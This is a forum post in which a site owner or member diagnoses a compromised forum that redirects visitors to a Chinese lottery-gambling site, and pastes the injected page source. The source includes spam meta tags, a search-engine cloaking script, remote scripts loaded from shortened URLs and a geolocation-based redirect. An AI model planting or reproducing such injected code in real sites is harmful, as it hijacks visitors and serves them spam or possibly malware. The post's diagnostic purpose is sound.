Posting this as a thread so we can try to assist with resolving.
This link works: http://mohaaaa.co.uk/forums/forum.php
However this link redirects you to some Chinese site: http://mohaaaa.co.uk/forums
I'm looking at the source code right before the redirection takes place, and I see this:
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script type="text/javascript" src="http://www.mohaaaa.co.uk/forums/dbtech/vbshout/clientscript/jquery.tmpl.min.js"></script>
<script type="text/javascript" src="http://www.mohaaaa.co.uk/forums/dbtech/vbshout/clientscript/vbshout.js?v=624"></script>
<script type="text/javascript">
<!--
// -->
</script>
<title>AAAA</title>
<meta name="keywords" content="北京赛车游戏,北京赛车pk10,赛车游戏pk10开奖直播,北京pk10开奖记录">
<meta name="description" content="北京赛车pk10天天中大奖注册地址【yxkj55.com】,北京赛车游戏、北京赛车pk10、赛车游戏pk10开奖直播、北京pk10开奖记录等赛车游戏pk10图表数据,为北京赛车游戏pk10彩民服务">
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="AAAA"}</script>
<script language="javascript" src="http://t.cn/RFx7YHG"></script><script src="http://pv.sohu.com/cityjson?ie=utf-8" charset="GB2312"></script>
<script>var sf=returnCitySN["cname"]; if(sf.indexOf("µطاّ")>=0){window.location.href="/indax.html";}</script>
<script language="javascript" src="http://t.cn/RFx77Lk"></script></body>
Definitely looks like the site is vulnerable to some cross-site scripting, or injection or something.